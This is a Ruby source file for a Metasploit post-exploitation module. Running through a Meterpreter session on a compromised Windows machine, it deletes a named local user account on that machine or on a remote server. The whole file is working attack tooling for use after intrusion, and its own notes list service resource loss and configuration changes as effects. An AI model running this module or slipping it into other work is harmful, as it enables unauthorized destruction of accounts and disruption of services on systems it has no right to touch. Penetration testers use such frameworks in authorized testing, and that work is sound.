1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Post
7
  include Msf::Post::Windows::Accounts
8

9
  def initialize(info = {})
10
    super(
11
      update_info(
12
        info,
13
        'Name' => 'Windows Manage Local User Account Deletion',
14
        'Description' => %q{
15
          This module deletes a local user account from the specified server,
16
          or the local machine if no server is given.
17
        },
18
        'License' => MSF_LICENSE,
19
        'Author' => [ 'chao-mu'],
20
        'Platform' => [ 'win' ],
21
        'SessionTypes' => [ 'meterpreter' ],
22
        'Notes' => {
23
          'Stability' => [SERVICE_RESOURCE_LOSS],
24
          'SideEffects' => [CONFIG_CHANGES],
25
          'Reliability' => []
26
        }
27
      )
28
    )
29

30
    register_options(
31
      [
32
        OptString.new('USERNAME', [ true, 'The username of the user to delete (not-qualified, e.g. BOB)' ]),
33
        OptString.new('SERVER_NAME', [ false, 'DNS or NetBIOS name of remote server on which to delete user' ]),
34
      ]
35
    )
36
  end
37

38
  def run
39
    username = datastore['USERNAME']
40
    target_server = datastore['SERVER_NAME']
41

42
    status = delete_user(username, target_server || nil)
43

44
    case status
45
    when :success
46
      print_status 'User was deleted!'
47
    when :invalid_server
48
      print_error 'The server you specified was invalid'
49
    when :not_on_primary
50
      print_error 'You must be on the primary domain controller to do that'
51
    when :user_not_found
52
      print_error 'User did not exist!'
53
    when :access_denied
54
      print_error 'Sorry, you do not have permission to delete that user'
55
    when nil
56
      print_error 'Could not delete user. Something horrible just happened. Sorry.'
57
    else
58
      print_error 'This module is out of date'
59
    end
60
  end
61
end
62

63